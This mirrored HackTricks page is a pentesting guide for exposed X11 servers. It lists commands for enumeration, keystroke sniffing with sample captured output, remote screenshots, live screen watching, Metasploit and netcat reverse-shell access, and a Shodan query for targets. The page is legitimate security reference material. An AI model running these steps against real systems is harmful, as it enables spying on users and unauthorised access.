mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
190 lines
7.4 KiB
Markdown
190 lines
7.4 KiB
Markdown
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
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Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
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This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
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Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
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[**Sign up on HackenProof**](https://hackenproof.com/register?referral_code=i_E6M25i_Um9gB56o-XsIA) to get rewarded without delays and become the web3 hacker legend.
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{% embed url="https://hackenproof.com/register?referral_code=i_E6M25i_Um9gB56o-XsIA" %}
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# Basic Information
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The X Window System (aka X) is a windowing system for bitmap displays, which is common on UNIX-based operating systems. X provides the basic framework for a GUI based environment. X also does not mandate the user interface – individual programs handle this.\
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From: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
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**Default port:** 6000
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```
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PORT STATE SERVICE
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6000/tcp open X11
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```
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# Enumeration
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Check for **anonymous connection:**
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```bash
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nmap -sV --script x11-access -p <PORT> <IP>
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msf> use auxiliary/scanner/x11/open_x11
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```
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# Verfy Connection
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```bash
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xdpyinfo -display <ip>:<display>
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xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
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```
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# Keyloggin
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[xspy](http://tools.kali.org/sniffingspoofing/xspy) to sniff the keyboard keystrokes.
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Sample Output:
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```
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xspy 10.9.xx.xx
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opened 10.9.xx.xx:0 for snoopng
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swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
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qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
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```
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# Screenshots capturing
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```bash
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xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
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convert screenshot.xwd screenshot.png
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```
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# Remote Desktop View
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Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
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```
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./xrdp.py <IP:0>
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```
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Way from: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
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First we need to find the ID of the window using xwininfo
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```
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xwininfo -root -display 10.9.xx.xx:0
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xwininfo: Window id: 0x45 (the root window) (has no name)
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Absolute upper-left X: 0
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Absolute upper-left Y: 0
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Relative upper-left X: 0
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Relative upper-left Y: 0
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Width: 1024
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Height: 768
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Depth: 16
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Visual: 0x21
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Visual Class: TrueColor
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Border width: 0
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Class: InputOutput
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Colormap: 0x20 (installed)
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Bit Gravity State: ForgetGravity
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Window Gravity State: NorthWestGravity
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Backing Store State: NotUseful
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Save Under State: no
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Map State: IsViewable
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Override Redirect State: no
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Corners: +0+0 -0+0 -0-0 +0-0
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-geometry 1024x768+0+0
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```
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**XWatchwin**
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For **live viewing** we need to use
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```bash
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./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
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./xwatchwin 10.9.xx.xx:0 -w 0x45
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```
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# Get Shell
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```
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msf> use exploit/unix/x11/x11_keyboard_exec
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```
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Other way:
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**Reverse Shell:** Xrdp also allows to take reverse shell via Netcat. Type in the following command:
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**./xrdp.py \<IP:0> –no-disp**
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It will prompt a new control pane where we can see the R-shell option, which is illustrated below:
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We will start the Netcat listening mode in our local system on port 5555, which is illustrated below:
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Then add the IP and port and then select R-Shell, which is illustrated below:
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Now as can be seen below we have complete system access:
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{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %}
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# Shodan
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* `port:6000 x11`
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<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
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Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
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This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
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Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
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[**Sign up on HackenProof**](https://hackenproof.com/register?referral_code=i_E6M25i_Um9gB56o-XsIA) to get rewarded without delays and become the web3 hacker legend.
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{% embed url="https://hackenproof.com/register?referral_code=i_E6M25i_Um9gB56o-XsIA" %}
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
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|
||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
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|
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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|
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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|
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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